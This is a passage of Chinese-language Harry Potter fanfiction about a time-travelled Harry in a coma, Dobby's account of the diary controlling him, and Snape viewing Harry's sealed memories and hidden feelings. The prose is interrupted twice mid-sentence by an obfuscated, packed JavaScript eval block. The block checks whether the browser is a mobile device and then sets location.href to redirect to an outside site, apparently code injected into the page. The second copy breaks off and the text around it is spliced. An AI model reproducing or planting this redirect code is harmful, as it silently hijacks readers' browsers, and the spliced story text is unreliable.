多比慢慢睁开眼睛,茫然地环顾四周。当它认出面前的两个人后,小小的身体开始剧烈颤抖。 “别害怕,多比。”邓布利多温和地说,“我们只是想了解一些事情。” 多比的大眼睛里瞬间涌出泪水。它突然跳起来,开始疯狂地用头撞墙:“坏多比!坏多比!多比让哈利先生受伤了!多比是个坏精灵!” “统统石化。”斯内普冷冷地挥动魔杖。多比僵在了原地,眼泪却仍然不停地往下掉。 “西弗勒斯。”邓布利多轻声提醒。斯内普冷哼一声,解除了咒语。 “你知道哈利受伤的事?”邓布利多缓缓问道。 多比瘫坐在地上,抽抽搭搭地点头又摇头:“多比……多比的记忆很乱……” “从头说起吧。”邓布利多挥动魔杖,一杯温热的牛奶飘到多比面前,“比如从你是如何获得自由开始?” 多比颤抖着双手捧着杯子,好一会儿才平静下来:“是的,先生。主人总是让多比打扫书房。有一天,多比发现了一本黑色封皮的日记,夹在主人的书里。多比一碰到它就感觉不对劲,就像……就像多比梦里看到的那样。” “梦?”邓布利多抓住了这个关键词。 多比点点头,泪水在它那双网球大的眼睛里打转:“是的,先生。多比经常做一些奇怪的梦……”它用茶巾擦了擦眼睛,“多比梦见主人在书房里自言自语,说要打开什么密室,说要让可怕的事情在霍格沃兹发生……” “你还梦见了什么?”邓布利多温和地问。 “多比梦见主人把那本黑色日记本偷偷塞进一个小女巫的课本里。”它小声说,“在丽痕书店……” “多比知道有坏事要发生,就去警告一个戴眼镜的巫师。”它抽噎着说,“那个巫师叫哈利·波特,他是个好心的巫师。多比不能告诉他真相,只能想办法阻止他去霍格沃兹……让他的信件送不到,在魁地奇比赛时让他受伤……” “后来那个巫师怎么样了?” “他最后识破了主人的阴谋,还让主人给了多比自由……”多比的眼睛亮了一下,随即又黯淡下来,“所以当多比在现实中看到那本日记本时,就知道不能让可怕的事情再次发生……只要把日记本藏起来……” 邓布利多用温和的眼神示意它继续说。 “主人发现日记本不见时非常生气。”多比蜷缩着说,“把整个庄园都翻遍了。多比……多比告诉主人,也许应该找找那堆旧袜子附近……那些主人最讨厌的、‘不体面的’旧袜子……” “你把日记本藏在那里了吗?” 多比睁大眼睛,声音微弱,“多比说的是‘附近’,先生……”它咬着嘴唇,“主人气坏了,把整堆袜子都抓起来翻找,一边骂多比把庄园收拾得太差……最后气得把所有袜子都扔到了多比头上……” “就在那一刻,你获得了自由?” “是的,先生。”多比声音颤抖,“多比终于可以……可以……”它低下头,“多比在对角巷找了三天工作,穿着从垃圾堆里捡来的袜子,没有人愿意雇佣多比……”它轻轻碰了碰身上不成对的袜子,“直到有一天,多比在丽痕书店外面看到了他。他和梦里的那个人一模一样,只是名字不一样……” “然后你就去给哈利工作了。” “是的,先生。佩弗利尔教授对多比很好,从不骂多比,让多比想收集多少袜子就收集多少袜子……”多比的声音哽咽,“可是多比不敢告诉他日记本的事。多比害怕他知道多比骗了上一个主人,会以为多比也会骗他……” “那么日记本后来是怎么控制了你的?”邓布利多轻声问。 多比蜷缩在墙角:“那本日记开始和多比说话。起初多比以为是自己太想保护佩弗利尔教授,才会听到幻觉。可是它说的每一件事……都和多比的梦一模一样。”它的声音发抖, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156397|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “它知道多比的梦,知道可怕的事情会在霍格沃兹发生……” 邓布利多了然,“它用谎言说服了你。” “它说如果按照原来的轨迹发展,会有很多人死去。”多比的眼泪落在破旧的茶巾上,“它说它也想改变这一切,但需要多比的帮助。它说只要多比听它的话,就能救下所有人,包括佩弗利尔教授……后来它告诉多比,在城堡里有一个特别的房间,可以帮助我们改变一切……” “多比的脑子越来越混乱,”它低声说,“有时候会发现自己站在不记得去过的地方……想要去警告佩弗利尔教授,可刚要开口就觉得喉咙被掐住了……”它突然崩溃大哭,“直到那天晚上!多比在厨房里醒来,听说佩弗利尔教授受伤了!都是多比的错!多比让蛇怪伤害了他!” “多比,”邓布利多的声音温和而坚定,“现在告诉我,日记本在哪里?这很重要。” “多比不记得了,先生……”它的眼神变得茫然,“多比最后的记忆,是在厨房里……日记本说要带多比去一个特别的地方,一个能帮上大忙的地方……”它困惑地眨着眼睛,“好像是一个能变成任何样子的房间……” “有求必应屋?”斯内普突然开口。 多比惊跳起来:“对!就是那个房间!”随即又缩成一团,“但多比不记得后来发生了什么……直到在校长先生的办公室醒来……” “去厨房好好休息吧,多比。”邓布利多和蔼地说,“让其他家养小精灵照顾你。等佩弗利尔教授醒来,你可以去医疗翼看他。” 多比抬起头,带着一丝希望:“多比……多比真的还能见佩弗利尔教授吗?” “当然可以。”邓布利多微笑着递给它一颗柠檬雪宝,“哈利一直把你当作重要的朋友,他一定会想见到你的。” 多比小心翼翼地接过糖果,破涕为笑,“多比会好好照顾自己,等着佩弗利尔教授醒来。”它的声音重新染上明亮,说完便啪地一声消失了。 ======== 多比离开后,邓布利多凝视了一会儿窗外,低头摩挲着手中的魔杖,若有所思地说:“看来我们的担忧成真了,西弗勒斯。不仅是多比获得了未来的记忆,汤姆显然也想要改写自己的结局。” 斯内普站在阴影中,沉声道,“他已经开始行动了。回收魂器、召集食死徒、放出蛇怪……他似乎迫不及待地想要完成灵魂重铸,就好像……已经预见到了失败的结局。” “是啊,”邓布利多转过身,镜片后的目光中流露出几分深意,“不过你不觉得有意思吗?就像一个下棋的人突然发现自己正在重走一局已知结果的棋局……” “阿不思,”斯内普忍不住打断他,“现在不是讲哑谜的时候。也许我该找个机会回去……” “不。”邓布利多摇头,语气变得坚决,“你和哈利已经制定好了计划,贸然改变只会打乱一切。除非他召唤你,否则只会引起怀疑。如果他真的知道了未来,那么我们的每一步都必须格外谨慎。单独行动太危险了。” “但我们不能就这样坐等着。”斯内普皱眉,“佩弗利尔还在昏迷,而黑魔王的计划显然已经开始实施。每一天的延误都会让我们处于更加被动的境地。” 邓布利多走到福克斯的栖木前,手指轻抚过福克斯光泽的羽毛,凤凰发出一声低沉的鸣叫。“命运有时就像这场突如其来的大雪,西弗勒斯。看似杂乱无章,却自有其轨迹。”他的目光落在桌上那杯尚有余温的茶上,“就像今早我的茶叶所显示的……” “阿不思,”斯内普忍不住嘲讽,“您什么时候也开始学特里劳妮看茶叶了?” “有趣的是,”邓布利多似乎没有听出他话中的讽刺,“茶叶的形状提醒了我一些关于时间的古老理论。也许哈利的昏迷,并非完全是蛇怪造成的……” 斯内普的表情突然变得严肃起来:“您是说……” “多去看看他吧,多关心他。”邓布利多没有正面回答他的问题,而是温和地说,“不知不觉中,我们似乎总是把太多的重担放在这个年轻人的肩上。” 斯内普站在壁炉边,火光映照着他苍白的面容,手指无意识地摩挲着左臂:“他从来都不是普通人。大难不死的男孩,最年轻的傲罗司司长,即便在那个时空里,他也一直在承担着远超常人的责任。”连他自己都没察觉,声音里带了一丝微妙的情绪。 “即便如此,在我这把年纪看来,他也还是个孩子。”邓布利多的身影在窗前拉长,“一个人带着泰迪从未来穿越而来,所有熟悉的人和事都不再属于他……”他走到窗前,望着纷飞的大雪,“在这里,他的父母还活着,却不能相认;他最好的朋友们还在霍格沃兹读书,却不认识他;连他自己都必须用另一个身份生活。这样的处境,就连最坚强的人也会感到孤独吧。” 斯内普沉默了一会儿,目光移向窗外。他想起哈利看到莉莉时压抑的眼神,想起他每次与詹姆斯、天狼星擦肩而过时微微发颤的手指,也想起放在床头的那条深红色的围巾。那个来自未来的年轻人,在这个时空里就像一个无根的游魂,明明被至亲和挚友环绕,却永远无法真正地靠近他们。 过了许久,斯内普才低声道,“我会的。” 邓布利多微微一笑,透过镜片望着窗外飘飞的雪花。雪花轻柔地飘落,渐渐将城堡的石墙裹进一片纯白之中,仿佛要抹去时间留下的所有痕迹。 60. 梦醒时刻 斯内普走进医疗翼时,果然又看到了詹姆斯·波特。这几天,他们总在这个时间撞上彼此,明明都觉得对方碍眼,却谁也没想着换个时间来探视。 “斯内普教授。”詹姆斯朝他点头示意。他的黑眼圈很重,整个人都透着一股疲惫感,显然这段时间没休息好。 “波特先生。”斯内普语气冷淡地应了一声。 “最近你总是来看他。”詹姆斯忽然开口。 斯内普停下脚步,眉头微皱,“我需要向你汇报行程吗,傲罗司司长?” “当然不需要。”詹姆斯揉了揉有些发红的眼睛,“抱歉,我最近有点……乱。好在庞弗雷夫人说,哈利今天应该就能醒来了。” “那真是可喜可贺。”斯内普挑了挑眉,语气轻飘飘的,“相信我,我和你一样期待这一天。以后我们大概就不必再在这里碰面了。” “佩弗利尔教授的情况如何?”詹姆斯并未因他的尖刻话语而恼怒,反而迟疑着问道,“他受的伤什么时候能好?” “等你学会尊重医疗隐私的时候。”斯内普居高临下地说,“或者等圣芒戈研制出治疗‘多管闲事’的魔药——看哪个先实现。” 詹姆斯沉默了片刻,低头看着膝上一张泛黄的羊皮纸,若有所思。斯内普余光扫到那张空白的羊皮纸,没有多问。这些天詹姆斯总是坐在那里,一言不发地盯着那张纸发呆。只要对方不开口,他也懒得理会。 “我一直觉得奇怪……”詹姆斯忽然打破了这几天来一直保持的沉默。 “波特,我对你的任何想法都毫无兴趣。”斯内普丢下这句话,抬脚径直往里走去。 “为什么佩弗利尔教授会对活点地图如此了解?”詹姆斯的声音在他身后响起。 斯内普脚步一顿,瞬间明白了一切。所以这张羊皮纸,竟然也是一张活点地图?或者说这才是原版的活点地图?该死的佩弗利尔,连这种无聊的把戏都要模仿,简直是在四处留下破绽。 詹姆斯没有注意到他的不自然,继续说道,“我见过他送给泰迪的那张新地图,几乎完全是我们当年的翻版。那些咒语,暗语,甚至标记名字的方式……” “一如既往地自大狂妄。”斯内普转过身,眼睛微眯:“你们所谓的‘原创’也并非如此无懈可击。” “他似乎太了解我们了。”詹姆斯仿佛没听见他的讽刺,“就好像……” “就好像你们当年拿着那张破地图无所事事、四处游荡,专门来找我的乐子?”斯内普冷笑,“波特,你的想象力似乎永远充满了无聊的假设。” “关于那些事……”詹姆斯正色道,“我很抱歉,斯内普。当年我们确实太过分了……” “留着你的忏悔词给梅林听吧。”斯内普厌烦地打断他,头也不回地大步走到哈利床边坐下,抽出一本《高阶魔药理论》。往日这时,泰迪总会在床边絮絮叨叨,西比也会跟着庞弗雷夫人在药柜间捣乱,今天却难得清静,只有夕阳的余光静静地在书页上流淌。 他很快就会离开的,像往常一样看完一个章节就走,一分钟也不会多待——至少他是这样告诉自己的。毕竟这不过是邓布利多交给他的又一项任务罢了。可詹姆斯·波特的存在却让这个简单的任务变得愈发复杂。 尽管詹姆斯·波特是个不折不扣的混球,但斯内普不得不承认,这名傲罗司司长的直觉和判断力真是见鬼的准确。他已经开始接近真相了,当然,永远也别指望从斯内普这里得到一丝一毫的确认。 斯内普翻过一页书,内心深处有某种烦躁在滋长。他表情依然平静,手指却不由自主地在某行文字上停留。 而不远处的詹姆斯望了眼哈利的病床,又低头凝视着那张羊皮纸,手指摩挲着纸张边缘,感受着那些熟悉的魔法波动。多少个夜晚,这张地图都伴随着他们的冒险。它从不说谎,从不出错。但此刻,他却迟迟不敢念出那个咒语。 到底是害怕看到什么? 终于,詹姆斯深吸一口气,轻声说道:“我庄严宣誓我不干好事。” ====== 斯内普正翻过书页,下一秒,指尖传来的触感消失了。他发现自己站在一片深不见底的黑暗之中,奇特的宁静在漆黑中蔓延开来。这种异常熟悉的感觉令他立即意识到自己又来到了那个奇怪的空间。 “见鬼,”他从牙缝里挤出这个词,“又玩这种把戏。你最好能给我个合理的解释,佩弗利尔!” 这一次,他没有任何犹豫,沿着本能向前迈步。约莫十步后,眼前豁然开朗——一条悬浮于虚空之中的走廊静静延伸,尽头是一个宏大的圆形厅堂。古老的石板铺就地面,每一块都镶嵌着细密的符文,缝隙间爬满银色藤蔓,在他脚下发出微弱的荧光,仿佛在为他指引方向。 抬头望去,巨大的齿轮群悬浮在穹顶之上,大小不一的齿轮相互咬合,缓缓转动,每次交错时爆发出的蓝色火星洒向周围,仿佛整个空间都在随着斯内普的心跳共同呼吸。齿轮的间隙中垂落着无数半透明的丝线,末端系着迷你沙漏,沙子正在缓慢流动。 圆形厅堂的四个角落立着四扇门。正东方向是一扇锈迹斑斑的青铜门,门框缠绕着枯藤与蛛网,底部堆积着灰白色的灰烬。东南方向是一扇由流动水晶构成的门扉,表面浮动着如涟漪般的光纹,边缘簇拥着一圈勿忘我形态的水晶簇,隐约透出一点银色的闪动。西南方向的是一扇雾玻璃门,灰色的雾气在玻璃夹层中翻滚,底部的玻璃管中流淌着幽蓝色的液体。最后是西北方向那扇漆黑的铁门,被七道锁链紧紧缠绕,表面布满尖锐的逆鳞状凸起,门楣上钉着三颗怪物的獠牙,门缝中渗出沥青般的黑雾。 不知为何,斯内普的目光不由自主地被那扇水晶门吸引。那扇门不像其他三扇那样阴森或古怪,反而透着一股奇怪的吸引力,像在低声唤他过去。他皱起眉头,手指不自觉地攥紧了魔杖,试图甩掉这没来由的感觉。可还没等他想明白,身体已经先动了起来——他伸出手,指尖几乎碰到水晶表面,却被一道无形的屏障弹开,像是撞上了冰冷的玻璃。 “又见面了,西弗勒斯。”一个熟悉的声音在身后响起。 斯内普转身,看到福克斯化作熟悉的少年模样。那双绿眼睛依然明亮得刺眼,但他早已习惯了这只凤凰的选择——用这张脸出现。 “这到底是什么地方?”斯内普问道,目光在四扇门上逡巡,“如果你再用这种毫无逻辑的迷宫浪费我的时间——” “这里是冥想回廊,”福克斯轻声回答,“一个介于过去与未来之间的特殊空间。”他意味深长地看了眼水晶门,“其实我也很意外你能进到这个最核心的空间。看来某些记忆选择了你作为它们的见证者。” “说得好像这就能解释一切。”斯内普冷笑道。突然,他想起医疗翼里昏迷的哈利,声音微微紧绷,“这和佩弗利尔的昏迷有关系?” 年幼的脸上浮现出忧虑的神色,“哈利的灵魂正在这里徘徊,他在试图逃避。” “逃避什么?”斯内普皱眉。他想起那天在礼堂,哈利毫无征兆地昏倒。蛇怪的攻击并不足以造成这样的后果,一定还有更深层的原因。 “时间就像一条河流,西弗勒斯,”福克斯走近水晶门,他的声音时而飘渺,时而清晰,“当一个灵魂试图逆流而上时……有些事情就无法避免。” 斯内普感觉胸口一阵烦闷。这些含糊其辞的话语背后似乎隐藏着什么重要的信息,但他一时又抓不住重点。“你知道他在哪里?” “他就在这里,在回廊的某个角落。”福克斯抚摸着水晶门上的勿忘我,花瓣随着他的触碰微微发亮,“这是记忆潮汐之门,里面保存着他最珍贵的记忆。而今天,这些记忆选择向你展示真相。” 斯内普下意识地后退了一步。他想起上次看到的那些片段——那些令他困惑不已的画面。一个可怕的念头浮现在脑海:如果这些确实是佩弗利尔的记忆,那么,为什么是他? 一旦出现这个念头,斯内普再也无法控制内心涌起的不安和疑问。 是啊,为什么是他? 斯内普再次扪心自问。即使他们如今不再针锋相对,即使他早已不把眼前这个人当成又一个傲慢的波特来憎恶。但这又能说明什么?不过是暂时的信任与合作罢了。因为一场莫名其妙的时间穿越,他们才被迫绑定在一起。 一个从未来穿越而来的救世主,一个永远站在光明一侧的英雄,波特和莉莉的儿子,为什么偏偏要选择他来窥探那些最珍贵的记忆? 何况——这已经是第二次了。 他们之间究竟有什么值得如此信任的关系吗?他不过是个始终游走在光明与黑暗边缘的人,一个不得不用冷静与算计来维持平衡的人。或许正是这种若即若离的距离,才让他永远无法真正理解那个人的选择。 “有些真相需要亲眼所见才能相信。”福克斯轻声说,“而有些感情,即使跨越时空也不会改变。你愿意去寻找他吗,西弗勒斯?去看看那个男孩眼中的你?” “那个男孩?”斯内普的声音有些干涩。“你……” 话音未落,福克斯突然化作金红色的凤凰,在空中划出一道弧线,绕着圆形厅堂飞了起来。它的歌声随之响起,四个音阶在空旷的厅堂中回荡,每个音符都像是从远处传来,带着一丝奇异的余韵。 水晶门亮起柔和的光,门上的勿忘我微微颤动。斯内普感到一股温和但无法抗拒的力量拉着他向前。这一次,他的手指触到门时,没有任何阻碍。 银色的光芒将他吞没,记忆的潮水向他涌来…… ====== 傲罗办公室里,壁炉的火光映照着哈利近乎瘦削的侧脸。桌上的羊皮纸——证词、记录、证明材料层层叠叠,几乎要把整张办公桌淹没。这是他第四次向校董会提交申请,要求为斯内普在霍格沃茨校长办公室内设立画像。他的笔尖在羊皮纸上飞快移动,写下一行行恳切的文字。 “作为一位在最黑暗时期守护霍格沃茨的校长,西弗勒斯·斯内普教授做出了无可替代的贡献。他的每一个决定都在保护学生,他走的每一步路都是在黑暗中开辟生路……” 罗恩推门进来时,看到的就是这样的场景。“哥们,你还在忙这个?”他的语气里带着担忧,“已经很晚了。” “马上就好。”哈利头也不抬地说,“我找到了新的证据。那些学生的证词,证明他在任期间一直在暗中保护他们。如果校董会能看到这些……” “但《预言家日报》那边……”罗恩欲言又止。 最近《预言家日报》上充斥着各种不实报道,污蔑斯内普是个彻头彻尾的食死徒,甚至暗示他和斯内普之间有什么见不得人的关系。 “我知道。”哈利的声音沙哑而平静,那些铺天盖地的恶意中伤早已无法触动分毫,“让他们说去吧。” 记忆流转,画面悄然变化。在灯光昏暗的档案室,哈利的魔杖尖端亮着微弱的光芒,他的手指在一排排文件上掠过,寻找着任何可能的线索。那些陈旧的羊皮纸上布满了灰尘,但他依然孜孜不倦地翻找。当他发现那份记载着斯内普为凤凰社传递情报的秘密记录时,那双绿眼睛亮了起来:“我就知道一定能找到。” 画面再次流转,这一次是在麦格的办公室。 “波特先生,”麦格教授的声音里带着复杂的情绪,“这已经是第七次了。校董会那边……” “我知道,教授。”哈利坐在她对面,目光坚定,“但我找到了新的证据。”他从长袍里抽出一叠羊皮纸,“这些是当年凤凰社的秘密档案,现在公开应该也没有什么问题。还有当年的学生证词。纳威说他愿意出面作证,证明斯内普教授在那一年是如何保护学生的。” 麦格教授叹了口气,“那些保守派在校董会里仍然占据多数。他们不会承认一个......”她斟酌着用词,“一个立场如此模糊的人。在他们眼里,斯内普既不效忠于黑暗魔法,又不完全站在光明一方。” “他选择了正确的一方!”哈利突然提高了声音,随即又冷静下来,“抱歉,教授。但我不能让历史就这样遗忘他。不能让那些污蔑和谣言掩盖真相。”他停顿了一下,声音低沉,“我欠他的。” “不,”麦格教授敏锐地看着他,“不仅仅是愧疚,对吗?这些年,你一直不肯放弃……” “我认为,西弗勒斯不会在意这些……” 哈利避开她探究的目光:“我只是想要正义,仅此而已。” 但夜深人静时,当他独自伏在案头,那些被压抑的情感便会不受控制地涌上来。那个眼神总在噩梦中纠缠,带着未尽的话语。“看着……我……”这句话在他耳边回响,像是一个永远无法完成的嘱托。 又一个噩梦惊醒的夜晚,司长办公室里只有他一个人。壁炉的火光早已熄灭,黑暗中传来羊皮纸被揉皱的声响。他刚刚收到了校董会的最新回复——第七次驳回。信纸上官方的措辞冰冷刺骨:“鉴于西弗勒斯·斯内普在战时的立场存疑,且有严重的道德瑕疵……” 哈利机械地将那封拒信揉成一团,扔进壁炉。火光照亮了他疲惫的面容,也映出案头那张《预言家日报》的标题——《救世主为何执意为食死徒平反?波特与斯内普不可告人的关系》。 这不是第一次了。自从他开始为斯内普奔走,流言就从未停止。起初是窃窃私语,后来变成公开的质疑。他们说他被混淆咒迷惑了,说他沉溺于过去无法自拔,甚至暗示他与斯内普之间有见不得人的关系。 “还要继续吗?”赫敏担忧地问过,“感觉事情一直在原地打转,我们的力量还不够……” 哈利让自己尽量表现得满不在乎,“我可不怕那些老古董,难道还能比当初让小天狼星恢复名誉更困难吗?” “哈利,你已经尽力了,也许是时候放下……” 可他做不到。每当他闭上眼睛,就会看见那个画面——斯内普倒在尖叫棚屋的地板上,黑色的长袍浸透了鲜血,那双眼睛始终注视着他。有那么多话未能说出口,有那么多误解来不及澄清。 记忆的银色雾气翻涌,画面转向另一个场景。帕笛芙茶馆里,金妮坐在窗边的位置上,面前的红茶早已凉透。她神色平静,仿佛早已下定决心。 “我们分手吧,哈利。” “……什么?” “哈利,你自己也没有发现吗?”金妮的声音很轻,却像锤子一样敲在哈利心上,“罗恩最近告诉我,你的办公桌上、你的房间里堆满的不是案件,而是为‘那个人’搜寻的各种资料证据。” 哈利沉默不语。 “哈利,我爱你,我总是关注着你,所以我看得更清楚,你从没这样——”金妮顿了下,仿佛在脑中寻找一个合适的词语,“执着过。” “我没有。”哈利下意识否认,可他的手指却不由自主地攥紧了茶杯。 “你有。”金妮的声音依然轻柔,却带着不容辩驳的坚定,“你总是会做那个噩梦,喊着他的名字。我听见你在梦里哭泣,可你甚至不明白为什么。”她停顿了一下,目光落在哈利微微发抖的手指上,“白天的你会把自己埋在那些文件和申请里,说服自己这只是为了还他一个公道。” 茶杯里的涟漪泛起细小的波纹。哈利意识到自己的手在颤抖。“我欠他的。”他听见自己说,声音嘶哑。这句话,他对麦格教授说过,对罗恩说过,对赫敏也说过,一遍又一遍。 “不。”金妮摇头,眼神温柔而悲伤,“不仅仅是愧疚,哈利。我们都知道。你为他的画像奔走了这么多年,即使被拒绝了一次又一次。你收集他的每一份记录,守护他的每一分荣誉,好像这样就能弥补那些永远无法改变的遗憾。”她深吸一口气,“你有没有想过,为什么偏偏是他?为什么在这么多牺牲的人中,唯独他的死亡让你耿耿于怀至今?” “你是真的不知道,还是不愿意知道?哈利,你对斯内普教授……陷得太深了。” “那种事不可能!”哈利猛地站起来,椅子在地板上划出刺耳的声响。茶杯被打翻,深褐色的液体在桌布上洇开,“你怎么能这么说?简直荒唐——” 他的魔力在痛苦中失控,桌上的杯子猛地炸裂,碎片四散。其他客人惊叫着退开,但哈利站在原地,像被钉住了一样。 他看着金妮,看着她眼中的理解与怜悯,突然感到一阵天旋地转。 那些被他压抑的情感在这一刻决堤。他终于明白,为什么每次梦见那双黑眼睛,心脏会绞痛得无法呼吸。为什么每次想起“看着我”那句话,悔恨之外总有别的情绪在胸腔翻涌。为什么即便过去多年,他依然无法放下…… “我……”他的声音在颤抖,但没能说完。那是他第一次,也是最后一次直面这个真相。 有些感情,一旦认识到就再也无法假装不知。而有些爱,注定只能埋藏在心底最深处,永远不见天日。 哈利站在水晶门前,银色的记忆丝线从他的太阳穴缓缓抽出。那些画面在空中流转:那些充斥着尖叫棚屋最后时刻的噩梦,无数个为那个人奔走的日日夜夜,还有那一天,当金妮说出那个他一直不敢面对的真相时…… 他望着那些银色的丝线,看着记忆中自己一步步走到今天。 起初只是单纯的愧疚和忏悔,为曾经的误解,为那些对斯内普的偏见与憎恨。他清楚地记得自己有多憎恶那个总是刁难自己的魔药教授,记得自己曾经多么深信他背叛了邓布利多,正是这些误解让他在事后倍感痛苦,让他执着地要为斯内普争取一个公正的评价。 可不知从什么时候开始,在一次次翻阅那些档案的时候,在一次次为他辩护的时候,在深夜独自整理证词的时候,这份愧疚悄然改变了。 “你知道吗?他从来都不曾……”哈利苦笑一声,“也永远不会……”他的声音渐渐低了下去。那个人早已带着对莉莉的爱离开了,即使在生命的最后一刻,“他让我看着他,看的也不过是我这双像她的眼睛……” 福克斯轻轻蹭了蹭他的脸颊,发出带着安慰意味的鸣叫声。 “我不能让这些影响我。”他深吸一口气,“泰迪还需要我,凤凰社的重建,魔法世界的恢复,还有那么多事情要做。他的名誉必须得到恢复,这是他应得的。这件事不该掺杂任何私人感情。” 水晶门微微发亮,记忆的丝线缓缓融入门中。这不是逃避,哈利想。正如他选择背负起凤凰社领袖的责任,选择收养泰迪一样,这也是他必须做出的选择。 那些感情不会消失,只是被小心地保护起来。他将继续为斯内普争取应得的荣誉,不再是出于愧疚或赎罪,因为这本就是正确的事。某些情感正在从他的意识中淡去,可那种隐隐的疼痛还在,提醒着他在这扇记忆之门后,那些无法言说的心意将永远保持纯粹。 ====== 所有记忆画面消散后,斯内普站在原地,面容笼罩在阴影中。那些画面如同沸腾的魔药,在他脑海中翻涌沸腾,几乎要将理智烧灼殆尽。 “荒谬。”他想要用最锋利的讽刺将那些画面驱散,“波特家的人总是这样感情用事,毫无理智可言……” 他想要嘲笑波特的愚蠢,但嘲讽的话语在喉间凝固。那个人年复一年的坚持,那种不计后果的信任,那些被深深压抑却始终炙热的感情……这一切都远远超出了他的预期,远远超出了他能够轻易否认的范畴。 斯内普想起自己第一次见到这个从未来穿越而来的年轻巫师。那个人就这样莫名其妙地掉进了他的坩埚中,用那双酷似莉莉的绿眼睛挑衅地宣布自己哈利·波特的身份。梅林知道他有多讨厌波特这个姓氏,但那一刻起,他就知道这个波特是不一样的。 斯内普想起那个把他平静的生活搅得天翻地覆的年轻人。他毫不犹豫地将泰迪托付给自己,在魔药室里来去自如,在对抗蛇怪时默契地配合。那双绿眼睛里的神情——不是詹姆斯式的轻狂,不是莉莉式的温柔,而是一种他从未在任何人眼中看到过的东西。那是一种笃定的信任,仿佛在那个人的世界里,西弗勒斯·斯内普从来就不是一个可疑的食死徒,而是值得托付生命的同伴。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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斯内普沉默了。一个波特会就这样消失,而另一个波特选择将那份深藏的感情封存。他第一次意识到这两个“哈利·波特”是如此不同:一个在完整的家庭中无忧无虑地成长,还未经历那些改变命运的选择;另一个却在黑暗中独自摸索,承受着所有人的期待,最终成长为一个内敛而坚韧的年轻人。 他想起医疗翼里那个沉睡的男孩,想起詹姆斯·波特焦虑的眼神。如果他们知道会面临这样的结局…… 但随即他又嘲笑自己的心软——什么时候开始,他竟会为一个波特的生死而感到不安? 突然,一点微弱的银光在闪烁。斯内普放眼望去,看到无数细小的光点在虚空中飘荡,像是迷失的星辰。 “那是他游离的灵魂之光。”福克斯说,“他需要一个指引。否则,这些光芒永远也无法重新归位。时间不会等待,西弗勒斯。” 斯内普凝视着那些星光。他想起那个总是用信任的目光看着他的哈利·波特,想起那个将最深的感情封存起来的哈利·波特。 “波特。”他的声音低沉而克制,“够了,回去。” 斯内普向前迈了一步,伸出手,那个最近的光点抖了一下,随后轻轻碰上他的手指。紧接着,周围散落的星光像是被惊醒了,纷纷向这个方向聚拢,在黑暗中拼出零散的画面:霍格沃茨礼堂第一次亮起的漂浮蜡烛,魔药课教室里翻滚的蒸汽,深夜的禁林中独角兽的银色血迹,密室中蛇怪游走的阴影,摄魂怪笼罩下黑湖的寒意,三强争霸赛上火龙扬起的尘土,神秘事务司飘动的黑纱,天文塔顶邓布利多坠落的背影,尖叫棚屋里那声“看着我”,傲罗办公室里那一叠又一叠泛黄的档案,泰迪熟睡的侧脸,地窖里跳动的火光…… 所有的星光开始汇聚,在空中连成一条银色的光河。它们不再散乱地飘荡,而是有了明确的方向,穿过冥想回廊的穹顶,融入无尽虚空。 斯内普望着那些消失的光点,喉咙莫名发紧。这些星光带走的不仅是波特游离的灵魂,更动摇了他对这个人过去的全部认知。他不知道哈利醒来时会不会记得那些被封存的感情,但有一点很清楚——从他触碰到这些记忆的那一刻起,有些东西已经变了。就像新的水流冲刷过河床,露出了原本被掩埋的痕迹,有些真相一旦浮现,就再也无法视而不见。 “该回去了。”福克斯轻声说。 斯内普最后看了一眼水晶门,转身离开。 ==== “西比!你到底要找什么?我们快走吧!”泰迪扶着长桌边缘,探头往里张望。西比正在斯内普的私人药柜里翻找,药瓶碰撞发出细微的声响。药柜里的魔药按照某种泰迪看不懂的规律排列着,每个瓶子都贴着斯内普那种密密麻麻的字迹。 “就快好了!”西比的声音从药柜深处传来。泰迪紧张地注视着那个不安分的人偶在瓶瓶罐罐间钻来钻去。虽然西弗勒斯准许他进入地窖,但这个私人药柜显然不在允许范围内。 “西弗会生气的。”泰迪嘟囔着,“我们偷偷进来已经够糟糕了。万一他发现……” “怕什么?”从西比的语气中都能听出他翻了个白眼,“那个阴沉沉的老蝙蝠有什么好怕的。况且,这可是为了救那个佩弗利尔。” 泰迪叹了口气。他知道西比说得没错,但还是忍不住担心。自从哈利昏迷后,西弗的心情就一直很糟糕。 “啊,找到了!”人偶忽然欢呼一声,得意洋洋地举起一个装着珍珠色液体的小瓶,“看,就是这个!” “你确定这个真的有用?”泰迪小心翼翼地接过魔药,还是感到一阵心虚。 “当然有用!”西比骄傲地爬上他的肩膀,“我可是按照配方找的。说真的,我真不明白你为什么非要在这个时间点赶回去?” “西弗每天都会这个点来看哈利,说不定现在已经在医疗翼了。”泰迪快步穿过地窖长廊,腾出一只手轻轻抚摸着肩头的西比。“而且要是他发现我们偷拿了他的魔药……” “哦——”西比拉长了语调,“那个脸色活像坩埚底刮下来的蜡黄药渣的家伙难道还敢扣你的分?” 泰迪又默默叹口气,加快了脚步,一边走一边看着窗外渐暗的天色。转过拐角时,一阵寒意突然袭来。窗外的天空不知何时聚起了乌云,风雪拍打着窗棂发出细碎的响动。 泰迪莫名感到一阵心悸,仿佛有什么不好的事情正在发生。他的脚步不由自主地慢了下来。 “你怎么了?”西比注意到他的异样,扯了扯他的头发。 泰迪还没来得及回答,一声痛苦的呼唤就穿透了医疗翼的门板:“哈利!”是詹姆斯的声音。那声呼唤里蕴含的绝望让泰迪的心猛地沉了下去。 